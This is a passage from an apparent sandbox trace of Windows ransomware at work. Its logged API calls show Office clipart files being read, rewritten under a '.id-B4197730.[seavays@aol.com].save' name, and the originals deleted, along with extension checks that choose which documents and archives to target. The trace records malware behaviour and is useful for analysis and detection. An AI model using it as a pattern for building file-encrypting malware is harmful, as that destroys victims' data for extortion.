lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x5c30, lpOverlapped=0x0) returned 1 [0167.827] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0167.827] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0167.827] SetEndOfFile (hFile=0x51c) returned 1 [0167.827] CloseHandle (hObject=0x51c) returned 1 [0167.827] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.827] SetEndOfFile (hFile=0x518) returned 1 [0167.831] CloseHandle (hObject=0x518) returned 1 [0167.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0167.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.833] lstrlenW (lpString=".doc") returned 4 [0167.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.833] lstrlenW (lpString=".docx") returned 5 [0167.833] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.833] lstrlenW (lpString=".pdf") returned 4 [0167.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.833] lstrlenW (lpString=".xls") returned 4 [0167.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.833] lstrlenW (lpString=".xlsx") returned 5 [0167.833] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.833] lstrlenW (lpString=".ppt") returned 4 [0167.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.833] lstrlenW (lpString=".zip") returned 4 [0167.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.833] lstrlenW (lpString=".rar") returned 4 [0167.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.833] lstrlenW (lpString=".bz2") returned 4 [0167.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.833] lstrlenW (lpString=".7z") returned 3 [0167.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.833] lstrlenW (lpString=".dbf") returned 4 [0167.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.834] lstrlenW (lpString=".1cd") returned 4 [0167.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.834] lstrlenW (lpString=".jpg") returned 4 [0167.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.834] lstrlenW (lpString=".doc") returned 4 [0167.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString=".docx") returned 5 [0167.834] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.834] lstrlenW (lpString=".pdf") returned 4 [0167.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString=".xls") returned 4 [0167.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.834] lstrlenW (lpString=".xlsx") returned 5 [0167.834] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.834] lstrlenW (lpString=".ppt") returned 4 [0167.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.834] lstrlenW (lpString=".zip") returned 4 [0167.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.834] lstrlenW (lpString=".rar") returned 4 [0167.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.834] lstrlenW (lpString=".bz2") returned 4 [0167.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.835] lstrlenW (lpString=".7z") returned 3 [0167.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.835] lstrlenW (lpString=".dbf") returned 4 [0167.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.835] lstrlenW (lpString=".1cd") returned 4 [0167.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0167.835] lstrlenW (lpString=".jpg") returned 4 [0167.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.835] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.835] lstrlenW (lpString="J0105230.WMF") returned 12 [0167.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0167.836] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5172) returned 1 [0167.836] CloseHandle (hObject=0x518) returned 1 [0167.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0167.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0167.837] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.837] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0167.839] GetLastError () returned 0x0 [0167.839] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1434, lpOverlapped=0x0) returned 1 [0168.046] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1440, lpOverlapped=0x0) returned 1 [0168.047] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.047] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.047] SetEndOfFile (hFile=0x51c) returned 1 [0168.047] CloseHandle (hObject=0x51c) returned 1 [0168.048] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.048] SetEndOfFile (hFile=0x518) returned 1 [0168.051] CloseHandle (hObject=0x518) returned 1 [0168.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.052] lstrlenW (lpString=".doc") returned 4 [0168.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString=".docx") returned 5 [0168.053] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.053] lstrlenW (lpString=".pdf") returned 4 [0168.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString=".xls") returned 4 [0168.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.053] lstrlenW (lpString=".xlsx") returned 5 [0168.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.053] lstrlenW (lpString=".ppt") returned 4 [0168.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.053] lstrlenW (lpString=".zip") returned 4 [0168.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.053] lstrlenW (lpString=".rar") returned 4 [0168.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString=".bz2") returned 4 [0168.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString=".7z") returned 3 [0168.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.053] lstrlenW (lpString=".dbf") returned 4 [0168.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.053] lstrlenW (lpString=".1cd") returned 4 [0168.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.054] lstrlenW (lpString=".jpg") returned 4 [0168.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.054] lstrlenW (lpString=".doc") returned 4 [0168.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString=".docx") returned 5 [0168.054] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.054] lstrlenW (lpString=".pdf") returned 4 [0168.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString=".xls") returned 4 [0168.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.054] lstrlenW (lpString=".xlsx") returned 5 [0168.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.054] lstrlenW (lpString=".ppt") returned 4 [0168.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.054] lstrlenW (lpString=".zip") returned 4 [0168.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.054] lstrlenW (lpString=".rar") returned 4 [0168.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString=".bz2") returned 4 [0168.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.054] lstrlenW (lpString=".7z") returned 3 [0168.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.055] lstrlenW (lpString=".dbf") returned 4 [0168.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.055] lstrlenW (lpString=".1cd") returned 4 [0168.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0168.055] lstrlenW (lpString=".jpg") returned 4 [0168.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.055] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.055] lstrlenW (lpString="J0105238.WMF") returned 12 [0168.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.056] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=17172) returned 1 [0168.056] CloseHandle (hObject=0x518) returned 1 [0168.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0168.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.057] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.057] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.059] GetLastError () returned 0x0 [0168.059] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4314, lpOverlapped=0x0) returned 1 [0168.062] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4320, lpOverlapped=0x0) returned 1 [0168.063] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.063] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.064] SetEndOfFile (hFile=0x51c) returned 1 [0168.064] CloseHandle (hObject=0x51c) returned 1 [0168.064] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.064] SetEndOfFile (hFile=0x518) returned 1 [0168.070] CloseHandle (hObject=0x518) returned 1 [0168.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0168.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.071] lstrlenW (lpString=".doc") returned 4 [0168.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.071] lstrlenW (lpString=".docx") returned 5 [0168.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.071] lstrlenW (lpString=".pdf") returned 4 [0168.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.071] lstrlenW (lpString=".xls") returned 4 [0168.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.072] lstrlenW (lpString=".xlsx") returned 5 [0168.072] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.072] lstrlenW (lpString=".ppt") returned 4 [0168.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString=".zip") returned 4 [0168.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.072] lstrlenW (lpString=".rar") returned 4 [0168.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString=".bz2") returned 4 [0168.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString=".7z") returned 3 [0168.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString=".dbf") returned 4 [0168.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString=".1cd") returned 4 [0168.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString=".jpg") returned 4 [0168.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.072] lstrlenW (lpString=".doc") returned 4 [0168.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.073] lstrlenW (lpString=".docx") returned 5 [0168.073] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.073] lstrlenW (lpString=".pdf") returned 4 [0168.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.073] lstrlenW (lpString=".xls") returned 4 [0168.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.073] lstrlenW (lpString=".xlsx") returned 5 [0168.073] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.073] lstrlenW (lpString=".ppt") returned 4 [0168.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.073] lstrlenW (lpString=".zip") returned 4 [0168.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.073] lstrlenW (lpString=".rar") returned 4 [0168.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.073] lstrlenW (lpString=".bz2") returned 4 [0168.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.073] lstrlenW (lpString=".7z") returned 3 [0168.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.073] lstrlenW (lpString=".dbf") returned 4 [0168.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.074] lstrlenW (lpString=".1cd") returned 4 [0168.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0168.074] lstrlenW (lpString=".jpg") returned 4 [0168.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.074] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.074] lstrlenW (lpString="J0105240.WMF") returned 12 [0168.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.075] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11532) returned 1 [0168.075] CloseHandle (hObject=0x518) returned 1 [0168.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0168.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.076] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.076] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.077] GetLastError () returned 0x0 [0168.077] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0168.078] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2d10, lpOverlapped=0x0) returned 1 [0168.080] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.080] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.080] SetEndOfFile (hFile=0x51c) returned 1 [0168.080] CloseHandle (hObject=0x51c) returned 1 [0168.080] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, 